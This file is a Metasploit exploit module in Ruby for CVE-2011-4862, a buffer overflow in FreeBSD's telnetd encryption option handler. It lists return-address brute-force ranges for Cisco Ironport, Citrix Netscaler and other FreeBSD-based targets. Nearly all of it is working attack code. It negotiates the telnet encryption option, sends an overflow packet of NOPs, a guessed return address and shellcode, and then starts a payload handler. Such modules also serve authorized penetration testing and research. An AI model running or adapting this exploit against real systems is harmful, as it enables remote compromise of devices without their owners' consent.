##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Brute

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'FreeBSD based telnetd encrypt_key_id brute force',
			'Description'    => %q{
					This module exploits a buffer overflow in the encryption option handler of the
				FreeBSD telnet service.
			},
			'Author'         => [ 'Nenad Stojanovski <nenad.stojanovski[at]gmail.com>' ],
			'References'     =>
				[
					['BID', '51182'],
					['OSVDB', '78020'],
					['CVE', '2011-4862'],
					['URL', 'http://www.exploit-db.com/exploits/18280/']
				],
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 128,
					'BadChars' => "\x00",
				},
			'Platform'       => [ 'bsd' ],
			'Targets'        =>
			[
				#
				# specific targets
				#
				[ 'Cisco Ironport 7.x Bruteforce',
						{
							'Bruteforce'   =>
								{

									'Start' => { 'Ret' => 0x0805cffd },
									'Stop'  => { 'Ret' => 0x0805aa00 },
									'Step'  => 8
								}
						}
				],

				[ 'Citrix Netscaler 9.x',
					{
							'Bruteforce'   =>
								{

									'Start' => { 'Ret' => 0x0805bffd },
									'Stop'  => { 'Ret' => 0x08059000 },
									'Step'  => 8
								}
					}
				],

				[ 'Other FreeBSD based targets',
					{
							'Bruteforce'   =>
								{

									'Start' => { 'Ret' => 0x0805fffd },
									'Stop'  => { 'Ret' => 0x08050000 },
									'Step'  => 8
								}
					}
				],


			],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Dec 23 2011'))

		register_options(
			[
				Opt::RPORT(23),
			], self.class )
	end

	def brute_exploit(addrs)
		curr_ret = addrs['Ret']
		begin
			connect

			sock.get_once
			print_status('Initiate encryption mode ...')

			req =  ''
			req << "\xff\xfa\x26\x00\x01\x01\x12\x13"
			req << "\x14\x15\x16\x17\x18\x19\xff\xf0"
			req << "\x00"

			sock.put(req)
			sock.get_once
			req = ''
			print_status("Trying return address 0x%.8x..." % curr_ret )
			print_status('Sending first payload ...')

			req << "\xff\xfa\x26\x07"
			req << "\x00"
			req << make_nops(71)
			penc = payload.encoded.gsub("\xff", "\xff\xff")
			req << [curr_ret].pack('V')
			req << [curr_ret].pack('V')

			req << make_nops(128)
			req << penc
			req << "\x90\x90\x90\x90"
			req << "\xff\xf0"
			req << "\x00"

			sock.put(req)
			sock.get_once
			print_status('Sending second payload ...')
			sock.put(req)

			disconnect
			handler
		rescue
		end
	end

end